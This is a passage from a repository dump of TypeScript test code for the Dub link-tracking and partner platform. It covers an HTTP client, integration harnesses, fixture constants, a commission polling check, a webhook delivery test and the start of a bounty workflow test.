    "content": "import { generateRandomName } from \"@/lib/names\";\nimport { nanoid, randomValue } from \"@dub/utils\";\nimport { expect } from \"vitest\";\n\nexport const randomId = (length = 24) => nanoid(length);\n\n// Generate random customer data\nexport const randomCustomer = ({\n  emailDomain = \"example.com\",\n}: { emailDomain?: string } = {}) => {\n  const externalId = `cus_${randomId()}`;\n  const customerName = generateRandomName();\n\n  return {\n    externalId,\n    name: customerName,\n    email: `${customerName.split(\" \").join(\".\").toLowerCase()}@${emailDomain}`,\n    avatar: null,\n  };\n};\n\nexport const randomTagName = (length?: number) => {\n  return `e2e-${randomId(length)}`;\n};\n\nexport const randomPartnerEmail = ({\n  domain = \"dub-internal-test.com\",\n}: {\n  domain?: string;\n} = {}) => {\n  return `${generateRandomName().split(\" \").join(\".\").toLowerCase()}@${domain}`;\n};\n\nexport const randomSaleAmount = () => {\n  return randomValue([400, 900, 1900]);\n};\n\nexport async function retry<T>(\n  fn: () => Promise<T>,\n  {\n    retries = 10,\n    interval = 300,\n  }: { retries?: number; interval?: number } = {},\n): Promise<T> {\n  let lastError;\n\n  for (let i = 0; i < retries; i++) {\n    try {\n      return await fn();\n    } catch (err) {\n      lastError = err;\n      if (i < retries - 1) {\n        await new Promise((res) => setTimeout(res, interval));\n      }\n    }\n  }\n\n  throw lastError;\n}\n\nexport function expectSortedById(\n  items: { id: string }[],\n  order: \"asc\" | \"desc\",\n) {\n  for (let i = 0; i < items.length - 1; i++) {\n    const cmp = items[i].id.localeCompare(items[i + 1].id);\n    if (order === \"desc\") {\n      expect(cmp).toBeGreaterThanOrEqual(0);\n    } else {\n      expect(cmp).toBeLessThanOrEqual(0);\n    }\n  }\n}\n\nexport function expectSortedByCreatedAt<T extends { createdAt: string | Date }>(\n  items: T[],\n) {\n  for (let i = 0; i < items.length - 1; i++) {\n    const a = new Date(items[i].createdAt).getTime();\n    const b = new Date(items[i + 1].createdAt).getTime();\n    expect(a).toBeGreaterThanOrEqual(b);\n  }\n}\n\nexport function expectSortedByCreatedAtAsc<\n  T extends { createdAt: string | Date },\n>(items: T[]) {\n  for (let i = 0; i < items.length - 1; i++) {\n    const a = new Date(items[i].createdAt).getTime();\n    const b = new Date(items[i + 1].createdAt).getTime();\n    expect(a).toBeLessThanOrEqual(b);\n  }\n}\n\nexport function expectNoOverlap<T extends { id: string }>(a: T[], b: T[]) {\n  const overlap = a.map((x) => x.id).filter((id) => b.some((x) => x.id === id));\n  expect(overlap).toHaveLength(0);\n}\n"
  },
  {
    "path": "apps/web/tests/utils/http.ts",
    "content": "type Request = {\n  path: string;\n  query?: Record<string, string>;\n  body?: unknown;\n  headers?: Record<string, string>;\n  retries?: number;\n};\n\ntype HttpClientConfig = {\n  headers?: Record<string, string>;\n  baseUrl: string;\n};\n\ntype Response<TResponse> = {\n  data: TResponse;\n  status: number;\n};\n\nexport class HttpClient {\n  public readonly baseUrl: string;\n  public readonly headers: Record<string, string>;\n\n  public constructor(config: HttpClientConfig) {\n    this.baseUrl = config.baseUrl.replace(/\\/$/, \"\");\n    this.headers = config.headers ?? {};\n  }\n\n  private async request<TResponse>(\n    method: \"GET\" | \"POST\" | \"PUT\" | \"PATCH\" | \"DELETE\",\n    req: Request,\n  ): Promise<Response<TResponse>> {\n    const headers = {\n      \"Content-Type\": \"application/json\",\n      ...this.headers,\n      ...req.headers,\n    };\n\n    const params = new URLSearchParams(req.query).toString();\n    const url = `${this.baseUrl}${req.path}${params ? `?${params}` : \"\"}`;\n\n    const response = await fetch(url, {\n      method,\n      headers,\n      keepalive: true,\n      body: JSON.stringify(req.body),\n    });\n\n    const { status } = response;\n    const data = (await response.json()) as TResponse;\n\n    return { data, status };\n  }\n\n  public async get<TResponse>(req: Request) {\n    return await this.request<TResponse>(\"GET\", req);\n  }\n\n  public async post<TResponse>(req: Request) {\n    return await this.request<TResponse>(\"POST\", req);\n  }\n\n  public async patch<TResponse>(req: Request) {\n    return await this.request<TResponse>(\"PATCH\", req);\n  }\n\n  public async put<TResponse>(req: Request) {\n    return await this.request<TResponse>(\"PUT\", req);\n  }\n\n  public async delete<TResponse>(req: Request) {\n    return await this.request<TResponse>(\"DELETE\", req);\n  }\n}\n"
  },
  {
    "path": "apps/web/tests/utils/integration-member.ts",
    "content": "import { Project, User } from \"@dub/prisma/client\";\nimport { type TestContext } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { env, integrationTestEnv } from \"./env\";\nimport { HttpClient } from \"./http\";\nimport { E2E_USER_ID_MEMBER, E2E_WORKSPACE_ID } from \"./resource\";\n\ninterface Resources {\n  user: Pick<User, \"id\">;\n  workspace: Pick<Project, \"id\" | \"slug\" | \"name\"> & { workspaceId: string };\n  apiKey: { token: string };\n}\n\n// for member user tests (folder access permissions)\nexport class IntegrationHarnessMember {\n  private readonly ctx?: TestContext;\n  private env: z.infer<typeof integrationTestEnv>;\n  public resources: Resources;\n  public baseUrl: string;\n  public http: HttpClient;\n\n  constructor(ctx?: TestContext) {\n    this.env = env;\n    this.ctx = ctx;\n    this.baseUrl = this.env.E2E_BASE_URL;\n    this.http = new HttpClient({\n      baseUrl: `${this.baseUrl}/api`,\n      headers: {\n        Authorization: `Bearer ${this.env.E2E_TOKEN_MEMBER}`,\n      },\n    });\n  }\n\n  async init() {\n    const user = {\n      id: E2E_USER_ID_MEMBER,\n    };\n\n    const apiKey = {\n      token: this.env.E2E_TOKEN_MEMBER,\n    };\n\n    const workspace = {\n      id: E2E_WORKSPACE_ID,\n      slug: \"acme\",\n      name: \"Acme, Inc.\",\n    };\n\n    this.resources = {\n      user,\n      apiKey,\n      workspace: {\n        ...workspace,\n        workspaceId: workspace.id,\n      },\n    };\n\n    return { ...this.resources, http: this.http };\n  }\n\n  // Delete link\n  public async deleteLink(id: string) {\n    const { workspaceId } = this.resources.workspace;\n\n    await this.http.delete({\n      path: `/links/${id}`,\n      query: { workspaceId },\n    });\n  }\n}\n"
  },
  {
    "path": "apps/web/tests/utils/integration-old.ts",
    "content": "import { Project, User } from \"@dub/prisma/client\";\nimport { type TestContext } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { env, integrationTestEnv } from \"./env\";\nimport { HttpClient } from \"./http\";\nimport { E2E_USER_ID_MEMBER, E2E_WORKSPACE_ID } from \"./resource\";\n\ninterface Resources {\n  user: Pick<User, \"id\">;\n  workspace: Pick<Project, \"id\" | \"slug\" | \"name\"> & { workspaceId: string };\n  apiKey: { token: string };\n}\n\nexport class IntegrationHarnessOld {\n  private readonly ctx?: TestContext;\n  private env: z.infer<typeof integrationTestEnv>;\n  public resources: Resources;\n  public baseUrl: string;\n  public http: HttpClient;\n\n  constructor(ctx?: TestContext) {\n    this.env = env;\n    this.ctx = ctx;\n    this.baseUrl = this.env.E2E_BASE_URL;\n    this.http = new HttpClient({\n      baseUrl: `${this.baseUrl}/api`,\n      headers: {\n        Authorization: `Bearer ${this.env.E2E_TOKEN_OLD}`,\n      },\n    });\n  }\n\n  async init() {\n    const user = {\n      id: E2E_USER_ID_MEMBER,\n    };\n\n    const apiKey = {\n      token: this.env.E2E_TOKEN_OLD,\n    };\n\n    const workspace = {\n      id: E2E_WORKSPACE_ID,\n      slug: \"acme\",\n      name: \"Acme, Inc.\",\n    };\n\n    this.resources = {\n      user,\n      apiKey,\n      workspace: {\n        ...workspace,\n        workspaceId: workspace.id,\n      },\n    };\n\n    return { ...this.resources, http: this.http };\n  }\n\n  // Delete link\n  public async deleteLink(id: string) {\n    const { workspaceId } = this.resources.workspace;\n\n    await this.http.delete({\n      path: `/links/${id}`,\n      query: { workspaceId },\n    });\n  }\n}\n"
  },
  {
    "path": "apps/web/tests/utils/integration.ts",
    "content": "import { Partner, Project, User } from \"@dub/prisma/client\";\nimport { type TestContext } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { HttpClient } from \"../utils/http\";\nimport { env, integrationTestEnv } from \"./env\";\nimport { E2E_PARTNER, E2E_USER_ID, E2E_WORKSPACE_ID } from \"./resource\";\n\ninterface Resources {\n  user: Pick<User, \"id\">;\n  partner: Pick<Partner, \"id\">;\n  workspace: Pick<Project, \"id\" | \"slug\" | \"name\" | \"webhookEnabled\">;\n  apiKey: { token: string };\n}\n\nexport class IntegrationHarness {\n  private readonly ctx?: TestContext;\n  private env: z.infer<typeof integrationTestEnv>;\n  public resources: Resources;\n  public baseUrl: string;\n  public http: HttpClient;\n\n  constructor(ctx?: TestContext) {\n    this.env = env;\n    this.ctx = ctx;\n    this.baseUrl = this.env.E2E_BASE_URL;\n    this.http = new HttpClient({\n      baseUrl: `${this.baseUrl}/api`,\n      headers: {\n        Authorization: `Bearer ${this.env.E2E_TOKEN}`,\n      },\n    });\n  }\n\n  async init() {\n    const user = {\n      id: E2E_USER_ID,\n    };\n\n    const partner = {\n      id: E2E_PARTNER.id,\n    };\n\n    const workspace = {\n      id: E2E_WORKSPACE_ID,\n      slug: \"acme\",\n      name: \"Acme, Inc.\",\n      webhookEnabled: true,\n    };\n\n    const apiKey = {\n      token: this.env.E2E_TOKEN,\n    };\n\n    this.resources = {\n      user,\n      partner,\n      workspace,\n      apiKey,\n    };\n\n    return {\n      ...this.resources,\n      http: this.http,\n      env: this.env,\n    };\n  }\n\n  // Delete link\n  public async deleteLink(id: string) {\n    if (!id) return;\n\n    await this.http.delete({\n      path: `/links/${id}`,\n    });\n  }\n\n  // Delete tag\n  public async deleteTag(id: string) {\n    if (!id) return;\n\n    await this.http.delete({\n      path: `/tags/${id}`,\n    });\n  }\n\n  // Delete domain\n  public async deleteDomain(slug: string) {\n    await this.http.delete({\n      path: `/domains/${slug}`,\n    });\n  }\n\n  // Delete customer\n  public async deleteCustomer(id: string) {\n    await this.http.delete({\n      path: `/customers/${id}`,\n    });\n  }\n\n  // Delete folder\n  public async deleteFolder(id: string) {\n    await this.http.delete({\n      path: `/folders/${id}`,\n    });\n  }\n\n  // Delete bounty\n  public async deleteBounty(id: string) {\n    if (!id) return;\n\n    await this.http.delete({\n      path: `/bounties/${id}`,\n    });\n  }\n\n  // Delete campaign\n  public async deleteCampaign(id: string) {\n    if (!id) return;\n\n    await this.http.delete({\n      path: `/campaigns/${id}`,\n    });\n  }\n}\n"
  },
  {
    "path": "apps/web/tests/utils/resource.ts",
    "content": "export const E2E_USER_ID = \"clxz1q7c7000hbqx5ckv4r82h\";\nexport const E2E_USER_ID_MEMBER = \"user_1KAERYAJ10MDM56EB9XPX4ZZ8\"; // for member user tests + old personal token tests\nexport const E2E_WORKSPACE_ID = \"ws_clrei1gld0002vs9mzn93p8ik\";\n\nexport const E2E_LINK = {\n  domain: \"dub.sh\",\n  key: \"test-click-tracking\",\n  url: \"https://github.com/dubinc\",\n};\n\nexport const E2E_TRACK_CLICK_HEADERS = {\n  referer: \"https://dub.co\",\n  \"User-Agent\":\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\",\n};\n\nexport const E2E_TAG = {\n  id: \"clvkopm8b0009nf98azsp9epk\",\n  name: \"E2E Tests (DO NOT DELETE)\",\n  color: \"red\",\n};\n\nexport const E2E_TAG_2 = {\n  id: \"tag_sfaXFOt0kFLtEV3Z5wtywbTl\",\n  name: \"E2E Tests 2 (DO NOT DELETE)\",\n  color: \"blue\",\n};\n\nexport const E2E_WEBHOOK_ID = \"wh_MHR7sZXXtZ7keBaNYZ30rQ0v\";\n\n// Folders specific\nexport const E2E_WRITE_ACCESS_FOLDER_ID = \"fold_1JP8FMYP08RGJKJB3S4DNYH13\"; // Folder with write access\nexport const E2E_READ_ONLY_FOLDER_ID = \"fold_1JP8FN462884CA6JJCVPAHAD4\"; // Folder with read-only access\nexport const E2E_NO_ACCESS_FOLDER_ID = \"fold_1JRZXGNNYWDA5QTT8CVDB3M23\"; // Folder with no access\nexport const E2E_READ_ONLY_FOLDER_LINK_ID = \"link_1KAESR5Z733716RTT4E1RSTW6\"; // A link in read-only folder\nexport const E2E_NO_ACCESS_FOLDER_LINK_ID = \"link_1KAESQ2Z6Q35WDV5NGSEVPFB0\"; // A link in no access folder\nexport const E2E_PUBLIC_ANALYTICS_FOLDER_ID = \"fold_1JP8FXWM7PECSA4SA7FMGHDWE\"; // Folder with public analytics dashboard\n\n// Different customer external IDs for different reward conditions\nexport const E2E_CUSTOMER_ID = \"cm25onzuv0001s1bbxchrc0ae\";\nexport const E2E_CUSTOMER_EXTERNAL_ID = \"cus_jTrfVKYN3Buc3F80JoqBiY0g\";\nexport const E2E_CUSTOMER_SALE_CONDITIONS_EXTERNAL_ID =\n  \"cus_pqc8qRtofpu6ZqvutyNDGAU2\";\nexport const E2E_CUSTOMER_COUNTRY_CONDITIONS_EXTERNAL_ID =\n  \"cus_LnZbkb8boLsOn1YGLPxZGZMU\";\nexport const E2E_CUSTOMER_SIGNUP_DATE_CONDITIONS_EXTERNAL_ID =\n  \"cus_VsvO2EmMis3LiMeR6tGty9Wy\";\n\n// Rewards specific\nexport const E2E_SALE_REWARD = {\n  id: \"rw_1JYPP77NNDG6TVPAJDKNZREQN\",\n  event: \"sale\",\n  type: \"flat\",\n  amountInCents: 1000,\n  modifiers: [\n    {\n      id: \"02f54268-bb03-4bc5-b7cb-4353ec3459e3\",\n      type: \"flat\",\n      operator: \"AND\",\n      conditions: [\n        {\n          value: \"premiumProductId\",\n          entity: \"sale\",\n          operator: \"equals_to\",\n          attribute: \"productId\",\n        },\n      ],\n      maxDuration: null,\n      amountInCents: 3000,\n    },\n    {\n      id: \"d91651b8-f14f-4f1a-9749-c523e618f8fb\",\n      type: \"flat\",\n      operator: \"AND\",\n      conditions: [\n        {\n          value: 15000,\n          entity: \"sale\",\n          operator: \"greater_than\",\n          attribute: \"amount\",\n        },\n      ],\n      maxDuration: null,\n      amountInCents: 5000,\n    },\n    {\n      id: \"249b049f-a476-45fb-8ecf-71f989fc2a8a\",\n      type: \"flat\",\n      operator: \"AND\",\n      conditions: [\n        {\n          value: \"SG\",\n          entity: \"customer\",\n          operator: \"equals_to\",\n          attribute: \"country\",\n        },\n      ],\n      maxDuration: null,\n      amountInCents: 6500,\n    },\n    {\n      id: \"c12b3226-accc-4ed1-a322-09f4310910d3\",\n      type: \"flat\",\n      operator: \"AND\",\n      conditions: [\n        {\n          value: 3,\n          entity: \"customer\",\n          operator: \"less_than_or_equal\",\n          attribute: \"subscriptionDurationMonths\",\n        },\n      ],\n      maxDuration: null,\n      amountInCents: 2000,\n    },\n    {\n      id: \"4968d41e-faf2-438d-847e-eda43116492a\",\n      type: \"flat\",\n      operator: \"AND\",\n      conditions: [\n        {\n          value: 1771228800000,\n          entity: \"customer\",\n          operator: \"greater_than\",\n          attribute: \"signupDate\",\n        },\n        {\n          value: 1771401600000,\n          entity: \"customer\",\n          operator: \"less_than\",\n          attribute: \"signupDate\",\n        },\n      ],\n      maxDuration: null,\n      amountInCents: 3300,\n    },\n  ],\n};\n\nexport const E2E_LEAD_REWARD = {\n  id: \"rw_1K82ESAT4YPY0STR20GKXZ7DR\",\n  event: \"lead\",\n  type: \"flat\",\n  amountInCents: 100,\n  modifiers: [\n    {\n      type: \"flat\",\n      operator: \"AND\",\n      conditions: [\n        {\n          value: \"US\",\n          entity: \"customer\",\n          operator: \"equals_to\",\n          attribute: \"country\",\n        },\n      ],\n      maxDuration: null,\n      amountInCents: 200,\n    },\n    {\n      type: \"flat\",\n      operator: \"AND\",\n      conditions: [\n        {\n          value: \"US\",\n          entity: \"partner\",\n          operator: \"equals_to\",\n          attribute: \"country\",\n        },\n      ],\n      maxDuration: 0,\n      amountInCents: 300,\n    },\n  ],\n};\n\n// Discounts specific\nexport const E2E_CUSTOMER_WITH_DISCOUNT = {\n  id: \"cus_pNGuZQJrAKjzttQTZMI4a46y\",\n  externalId: \"cus_PowZhxHqUvN8MSdszEElqsUx\",\n  email: \"rural.yellow.takin@example.com\",\n};\n\nexport const E2E_DISCOUNT = {\n  id: \"disc_1K2E253814K7TA6YRKA86XMX5\",\n  amount: 30,\n  type: \"percentage\",\n  maxDuration: 3,\n  couponId: \"XZuejd0Q\",\n  couponTestId: \"2NMXz81x\",\n  description: null,\n};\n\n// Program\nexport const E2E_PROGRAM = {\n  id: \"prog_CYCu7IMAapjkRpTnr8F1azjN\",\n  domain: \"getacme.link\",\n};\n\nexport const E2E_PARTNER = {\n  id: \"pn_H4TB2V5hDIjpqB7PwrxESoY3\",\n  email: \"steven+test+derek@dub.co\",\n  tenantId: \"4149092f-7265-4002-98d9-da9f8e67e1fb\",\n  link: {\n    id: \"cm0lcuvtz000xcutmqw4a7wi3\",\n    domain: \"dub.sh\",\n    key: \"track-test\",\n  },\n};\n\nexport const E2E_PARTNER_GROUP = {\n  id: \"grp_1K2E25381GVMG7HHM057TB92F\",\n  url: \"https://acme.dub.sh/\",\n};\n\nexport const E2E_PARTNERS = [\n  {\n    id: \"pn_NNG3YjwhLhA7nCZSaXeLIsWu\",\n    country: \"US\",\n    shortLink: {\n      domain: \"getacme.link\",\n      key: \"marvin\",\n    },\n  },\n  {\n    id: \"pn_1K8ND11BZ4XPEX39QX3YMBGY0\",\n    country: \"SG\",\n    shortLink: {\n      domain: \"getacme.link\",\n      key: \"kiran-e2e-1\",\n    },\n  },\n] as const;\n\nexport const E2E_FRAUD_PARTNER = {\n  id: \"pn_1K8ND11BZ4XPEX39QX3YMBGY0\",\n  name: \"kiran+e2e+1@dub.co\",\n  email: \"kiran+e2e+1@dub.co\",\n  image: null,\n  links: {\n    customerEmailMatch: {\n      domain: \"getacme.link\",\n      key: \"fraud-customer-match\",\n    },\n    customerEmailSuspiciousDomain: {\n      domain: \"getacme.link\",\n      key: \"fraud-customer-suspicious\",\n    },\n    referralSourceBanned: {\n      domain: \"getacme.link\",\n      key: \"fraud-referral-source-banned\",\n    },\n    paidTrafficDetected: {\n      domain: \"getacme.link\",\n      key: \"fraud-paid-traffic\",\n    },\n  },\n} as const;\n\nexport const E2E_FRAUD_REFERRAL_SOURCE_BANNED_DOMAIN =\n  \"test-hostname-for-referral-source-banned-do-not-delete.com\";\n"
  },
  {
    "path": "apps/web/tests/utils/schema.ts",
    "content": "import { LinkSchema as LinkSchemaOld } from \"@/lib/zod/schemas/links\";\nimport { Link, Project, Tag } from \"@dub/prisma/client\";\nimport { expect } from \"vitest\";\nimport * as z from \"zod/v4\";\n\nexport const LinkSchema = LinkSchemaOld.extend({\n  identifier: z.null(),\n  linkRetentionCleanupDisabledAt: z.null(),\n});\n\nexport const expectedLink: Omit<Partial<Link>, \"saleAmount\"> & {\n  saleAmount: number; // API coerces BigInt → number in response\n  identifier: null;\n  tagId: string | null;\n  tags: [];\n  webhookIds: string[];\n} = {\n  id: expect.any(String),\n  key: expect.any(String),\n  domain: \"dub.sh\",\n  shortLink: expect.any(String),\n  trackConversion: false,\n  archived: false,\n  expiresAt: null,\n  disabledAt: null,\n  password: null,\n  proxy: false,\n  title: null,\n  description: null,\n  image: null,\n  video: null,\n  utm_source: null,\n  utm_medium: null,\n  utm_campaign: null,\n  utm_term: null,\n  utm_content: null,\n  rewrite: false,\n  doIndex: false,\n  ios: null,\n  android: null,\n  geo: null,\n  publicStats: false,\n  clicks: 0,\n  lastClicked: null,\n  leads: 0,\n  conversions: 0,\n  sales: 0,\n  saleAmount: 0,\n  identifier: null, // backwards compatibility\n  tagId: null, // backwards compatibility\n  comments: null,\n  tags: [],\n  webhookIds: [],\n  createdAt: expect.any(String),\n  updatedAt: expect.any(String),\n  expiredUrl: null,\n  externalId: null,\n  tenantId: null,\n  programId: null,\n  partnerId: null,\n  folderId: null,\n  testCompletedAt: null,\n  testStartedAt: null,\n  testVariants: null,\n  linkRetentionCleanupDisabledAt: null,\n};\n\nexport const expectedTag: Partial<Tag> = {\n  id: expect.any(String),\n  createdAt: expect.any(String),\n  updatedAt: expect.any(String),\n};\n\nexport const expectedWorkspace: Partial<Project> = {\n  id: expect.any(String),\n  name: expect.any(String),\n  slug: expect.any(String),\n  logo: expect.any(String),\n\n  plan: expect.any(String),\n  stripeId: expect.any(String),\n  billingCycleStart: expect.any(Number),\n  inviteCode: expect.any(String),\n\n  usage: expect.any(Number),\n  usageLimit: expect.any(Number),\n  linksUsage: expect.any(Number),\n  linksLimit: expect.any(Number),\n  payoutsLimit: expect.any(Number),\n  domainsLimit: expect.any(Number),\n  tagsLimit: expect.any(Number),\n  usersLimit: expect.any(Number),\n\n  createdAt: expect.any(String),\n};\n"
  },
  {
    "path": "apps/web/tests/utils/verify-commission.ts",
    "content": "import { CommissionResponse, Customer } from \"@/lib/types\";\nimport { expect } from \"vitest\";\nimport { HttpClient } from \"./http\";\n\ninterface VerifyCommissionProps {\n  http: HttpClient;\n  customerExternalId?: string;\n  invoiceId?: string;\n  expectedAmount?: number;\n  expectedEarnings: number;\n}\n\nconst POLL_INTERVAL_MS = 5000; // 5 seconds\nconst TIMEOUT_MS = 30000; // 30 seconds\n\nexport const verifyCommission = async ({\n  http,\n  customerExternalId,\n  invoiceId,\n  expectedAmount,\n  expectedEarnings,\n}: VerifyCommissionProps) => {\n  let customerId: string | undefined;\n\n  // Resolve customer ID (scoped by projectId — externalId is unique per project)\n  if (customerExternalId) {\n    const { data: customers } = await http.get<Customer[]>({\n      path: \"/customers\",\n      query: { externalId: customerExternalId },\n    });\n\n    expect(customers.length).toBeGreaterThan(0);\n    customerId = customers[0].id;\n  }\n\n  const query: Record<string, string> = {};\n\n  if (invoiceId) {\n    query.invoiceId = invoiceId;\n  }\n\n  if (customerId) {\n    query.customerId = customerId;\n  }\n\n  // Poll for commission every 5 seconds, timeout after 30 seconds\n  const startTime = Date.now();\n\n  while (Date.now() - startTime < TIMEOUT_MS) {\n    const { status, data: commissions } = await http.get<CommissionResponse[]>({\n      path: \"/commissions\",\n      query,\n    });\n\n    if (status === 200 && commissions.length === 1) {\n      const commission = commissions[0];\n\n      // Verify all expectations\n      if (invoiceId) {\n        expect(commission.invoiceId).toEqual(invoiceId);\n      }\n\n      if (customerId) {\n        expect(commission.customer?.id).toEqual(customerId);\n      }\n\n      if (expectedAmount !== undefined) {\n        expect(commission.amount).toEqual(expectedAmount);\n      }\n\n      expect(commission.earnings).toEqual(expectedEarnings);\n\n      return;\n    }\n\n    // Wait before next poll\n    await new Promise((resolve) => setTimeout(resolve, POLL_INTERVAL_MS));\n  }\n\n  // Timeout reached - fail the test\n  throw new Error(\n    `Commission not found within ${TIMEOUT_MS / 1000} seconds. ` +\n      `Query: ${JSON.stringify(query)}`,\n  );\n};\n"
  },
  {
    "path": "apps/web/tests/webhooks/index.test.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { WebhookTrigger } from \"@/lib/types\";\nimport { WEBHOOK_TRIGGERS } from \"@/lib/webhook/constants\";\nimport { sendWebhooks } from \"@/lib/webhook/qstash\";\nimport { samplePayload } from \"@/lib/webhook/sample-events/payload\";\nimport {\n  clickWebhookEventSchema,\n  leadWebhookEventSchema,\n  saleWebhookEventSchema,\n} from \"@/lib/webhook/schemas\";\nimport { BountySchema } from \"@/lib/zod/schemas/bounties\";\nimport { CommissionWebhookSchema } from \"@/lib/zod/schemas/commissions\";\nimport { CustomerSchema } from \"@/lib/zod/schemas/customers\";\nimport { linkEventSchema } from \"@/lib/zod/schemas/links\";\nimport { EnrolledPartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { payoutWebhookEventSchema } from \"@/lib/zod/schemas/payouts\";\nimport { partnerApplicationWebhookSchema } from \"@/lib/zod/schemas/program-application\";\nimport { describe, expect, test } from \"vitest\";\nimport * as z from \"zod/v4\";\n\nconst webhook = {\n  id: \"wh_IFL4j0toU6RAMz4R7mXjJ6C5\", // dummy id\n  url: \"https://webhook.site/30fb66a9-3611-4878-a8c9-49ab4806a2c0\",\n  secret: \"whsec_6f9f3a63705c44206ca655813bf91b61\", // dummy secret\n};\n\nconst customerSchemaExtended = CustomerSchema.extend({\n  createdAt: z.string().transform((str) => new Date(str)), // because the date is in UTC string in JSON\n});\n\nconst leadWebhookEventSchemaExtended = leadWebhookEventSchema.extend({\n  customer: customerSchemaExtended,\n});\n\nconst saleWebhookEventSchemaExtended = saleWebhookEventSchema.extend({\n  customer: customerSchemaExtended,\n});\n\nconst enrolledPartnerSchemaExtended = EnrolledPartnerSchema.extend({\n  payoutsEnabledAt: z.string().nullable(),\n  createdAt: z.string(),\n});\n\nconst commissionWebhookEventSchemaExtended = CommissionWebhookSchema.extend({\n  createdAt: z.string().transform((str) => new Date(str)),\n  updatedAt: z.string().transform((str) => new Date(str)),\n  partner: CommissionWebhookSchema.shape.partner.extend({\n    payoutsEnabledAt: z\n      .string()\n      .transform((str) => (str ? new Date(str) : null))\n      .nullable(),\n  }),\n  customer: customerSchemaExtended,\n});\n\nconst bountyWebhookEventSchemaExtended = BountySchema.extend({\n  startsAt: z.string().transform((str) => new Date(str)),\n  endsAt: z.string().transform((str) => (str ? new Date(str) : null)),\n});\n\nconst payoutWebhookEventSchemaExtended = payoutWebhookEventSchema.extend({\n  periodStart: z\n    .string()\n    .nullable()\n    .transform((str) => (str ? new Date(str) : null)),\n  periodEnd: z\n    .string()\n    .nullable()\n    .transform((str) => (str ? new Date(str) : null)),\n  createdAt: z.string().transform((str) => new Date(str)),\n  initiatedAt: z.string().transform((str) => new Date(str)),\n  paidAt: z\n    .string()\n    .nullable()\n    .transform((str) => (str ? new Date(str) : null)),\n});\n\nconst eventSchemas: Record<WebhookTrigger, z.ZodSchema> = {\n  \"link.created\": linkEventSchema,\n  \"link.updated\": linkEventSchema,\n  \"link.deleted\": linkEventSchema,\n  \"link.clicked\": clickWebhookEventSchema,\n  \"lead.created\": leadWebhookEventSchemaExtended,\n  \"sale.created\": saleWebhookEventSchemaExtended,\n  \"partner.application_submitted\": partnerApplicationWebhookSchema,\n  \"partner.enrolled\": enrolledPartnerSchemaExtended,\n  \"commission.created\": commissionWebhookEventSchemaExtended,\n  \"bounty.created\": bountyWebhookEventSchemaExtended,\n  \"bounty.updated\": bountyWebhookEventSchemaExtended,\n  \"payout.confirmed\": payoutWebhookEventSchemaExtended,\n};\n\ndescribe(\"Webhooks\", () => {\n  test.each(WEBHOOK_TRIGGERS)(\n    \"%s\",\n    async (trigger: WebhookTrigger) => await testWebhookEvent(trigger),\n    10000,\n  );\n});\n\nconst testWebhookEvent = async (trigger: WebhookTrigger) => {\n  const data = samplePayload[trigger];\n\n  const response = await sendWebhooks({\n    webhooks: [webhook],\n    trigger,\n    data,\n  });\n\n  if (!response) {\n    throw new Error(\"No response from sendWebhooks\");\n  }\n\n  await assertQstashMessage(response[0].messageId, data, trigger);\n};\n\nconst assertQstashMessage = async (\n  messageId: string,\n  body: any,\n  trigger: WebhookTrigger,\n) => {\n  const qstashMessage = await qstash.messages.get(messageId);\n\n  const callbackUrl = new URL(qstashMessage.callback!);\n  const failureCallbackUrl = new URL(qstashMessage.failureCallback!);\n  const receivedBody = JSON.parse(qstashMessage.body!);\n\n  expect(qstashMessage.url).toEqual(webhook.url);\n  expect(qstashMessage.method).toEqual(\"POST\");\n\n  expect(callbackUrl.searchParams.get(\"webhookId\")).toEqual(webhook.id);\n  expect(callbackUrl.searchParams.get(\"event\")).toEqual(trigger);\n  expect(callbackUrl.searchParams.get(\"eventId\")?.startsWith(\"evt_\")).toBe(\n    true,\n  );\n\n  expect(failureCallbackUrl.searchParams.get(\"webhookId\")).toEqual(webhook.id);\n  expect(failureCallbackUrl.searchParams.get(\"event\")).toEqual(trigger);\n  expect(\n    failureCallbackUrl.searchParams.get(\"eventId\")?.startsWith(\"evt_\"),\n  ).toBe(true);\n\n  expect(receivedBody.event).toEqual(trigger);\n  expect(receivedBody.data).toEqual(body);\n  expect(eventSchemas[trigger].safeParse(receivedBody.data).success).toBe(true);\n};\n\n// TODO:\n// Assert the signature is correct\n// Check the webhook URL received the event\n"
  },
  {
    "path": "apps/web/tests/workflows/award-bounty-workflow.test.ts",
    "content": "import { EnrolledPartnerProps } from \"@/lib/types\";\nimport { Bounty } from \"@dub/prisma/client\";\nimport { E2E_PARTNER_GROUP } from \"tests/utils/resource\";\nimport { describe, expect, onTestFinished, test } from \"vitest\";\nimport { randomPartnerEmail } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { deleteBountyAndSubmissions } from \"./utils/delete-bounty-and-submissions\";\nimport { trackE2ELead } from \"./utils/track-e2e-lead\";\nimport { verifyBountySubmission } from \"./utils/verify-bounty-submission\";\n\ndescribe.sequential(\"Workflow - AwardBounty\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\n    \"Workflow executes when partner reaches goal\",\n    { timeout: 90000 },\n    async () => {\n      const { status: bountyStatus, data: bounty } = await http.post<Bounty>({\n        path: \"/bounties\",\n        body: {\n          name: \"E2E Performance Bounty - Goal Reached\",\n          description: \"Get 2 leads to earn $10\",\n          type: \"performance\",\n          startsAt: new Date().toISOString(),\n          endsAt: null,\n          rewardAmount: 1000,\n          performanceScope: \"new\",\n          groupIds: [E2E_PARTNER_GROUP.id],\n          performanceCondition: {\n            attribute: \"totalLeads\",\n            operator: \"gte\",\n            value: 1,\n          },\n        },\n      });\n\n      expect(bountyStatus).toEqual(200);\n\n      onTestFinished(async () => {\n        await deleteBountyAndSubmissions({\n          http,\n          bountyId: bounty.id,\n        });\n      });\n\n      const { status: partnerStatus, data: partner } =\n        await http.post<EnrolledPartnerProps>({\n          path: \"/partners\",\n          body: {\n            name: \"E2E Test Partner - Goal\",\n            email: randomPartnerEmail(),\n            groupId: E2E_PARTNER_GROUP.id,\n          },\n        });\n\n      expect(partnerStatus).toEqual(201);\n      expect(partner.links).not.toBeNull();\n      